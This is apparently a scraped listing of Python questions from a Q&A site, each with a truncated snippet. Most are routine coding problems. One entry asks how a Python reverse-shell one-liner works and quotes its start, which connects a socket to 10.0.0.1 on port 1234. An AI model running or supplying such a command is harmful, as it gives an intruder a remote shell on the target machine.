Category "python-3.x"

CSS static file is not loading in Django

I am learning Django and i tried to implement a blog app . i am getting an error while using the static files inside project.i know, There are lot of questions

cant install a package in anaconda

While installing a package iam getting this error.Whats the problem?? Installing collected packages: opencv-contrib-python Could not install packages

Pywinauto timings waiting 0.5 seconds instead of immediate

I have the following Pywinauto code and timings waiting is 0.5 seconds instead of immediate. How to get itimmediately? To click a button and go to the next mes

program to find the sum of the first N odd numbers

I'm trying to make a program that calculates the sum of the first N odd numbers. where N is the number of the first odd numbers (e.g. N=4, then the first odds a

Installing lcm-python on ubuntu

So I need to install the python version of lcm, which is downloaded from here , but every time, I end up with this error photo of my terminal.1st attempt is wit

Python script to check batterylevel on powerbank connected to Raspberry Pi

I have project that includes a Raspberry Pi connected to a powerbank as power source. In my python script I would like to check the battery status of the powerb

Number of Islands problem on leetcode - incorrect answer on leetcode but correct locally

I am trying this solution for the number of islands problem on leetcode. class Solution: islands = 0 visited = [] def numIslands(self, grid: list[list[str]]) -&

code won't run: SyntaxError: bad input on line 28 in main.py

won't let me run it, have tried indenting checking indentation. If I get rid of this part it will just say it about another part. Might help if it say that if I

Airflow Scheduler liveness probe crashing (version 2.0)

I have just upgraded my Airflow from 1.10.13 to 2.0. I am running it in Kubernetes (AKS Azure) with Kubernetes Executor. Unfortunately, I see my Scheduler getti

pyinstaller cannot see configparser

I am using configparser in a python application When I run the application python main.py it works. However if I use pyinstall to create a windows exe, the

convert List of List to list float

I have a list of list of coordinate with data type of float for example something like this [[106.4372634887695, -6.3303128514375], [106.4372634887695, -6.32997

List is printing datetime.datetime

I have a result list that contains something like [(datetime.datetime(2013, 1, 1, 0, 1, 14),), (datetime.datetime(2013, 1, 1, 1, 33, 50),)] How does one prin

How to solve (NaN error) when given column specific name

I have many text files include data as follow: 350.0 2.1021 0.0000 1.4769 0.0000 357.0 2.0970 0.0000 1.4758 0.0000 364.0 2.0920 0.0000

How to solve (NaN error) when given column specific name

I have many text files include data as follow: 350.0 2.1021 0.0000 1.4769 0.0000 357.0 2.0970 0.0000 1.4758 0.0000 364.0 2.0920 0.0000

How does a Python reverse shell one-liner work?

Consider: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(

Pandas- DataError: No numeric types to aggregate

I have a DataFrame with 5 columns, where the column i need to aggregate is of a string, and has NaN values. I tried replacing the nan values with 0 and then con

Wait subprocess.run until completes its task

I have created a simple method that executes a command like you do in the terminal from subprocess import PIPE, run class Command_Line(): @staticmethod

Is there a way to take advantage of multiple CPU cores with asyncio?

I've created a simple HTTP Server with python and asyncio. But, I have read that asyncio-based servers can only take advantage of one CPU core. I am trying to f

AttributeError: 'CRF' object has no attribute 'keep_tempfiles'

I am currently trying to replicate certain methods from this blog https://towardsdatascience.com/named-entity-recognition-and-classification-with-scikit-learn-f

How to display an image as result of true in a function

So I'm playing around with some code and I'm trying to design a program that displays an image if a true statement results from the input. An example would be a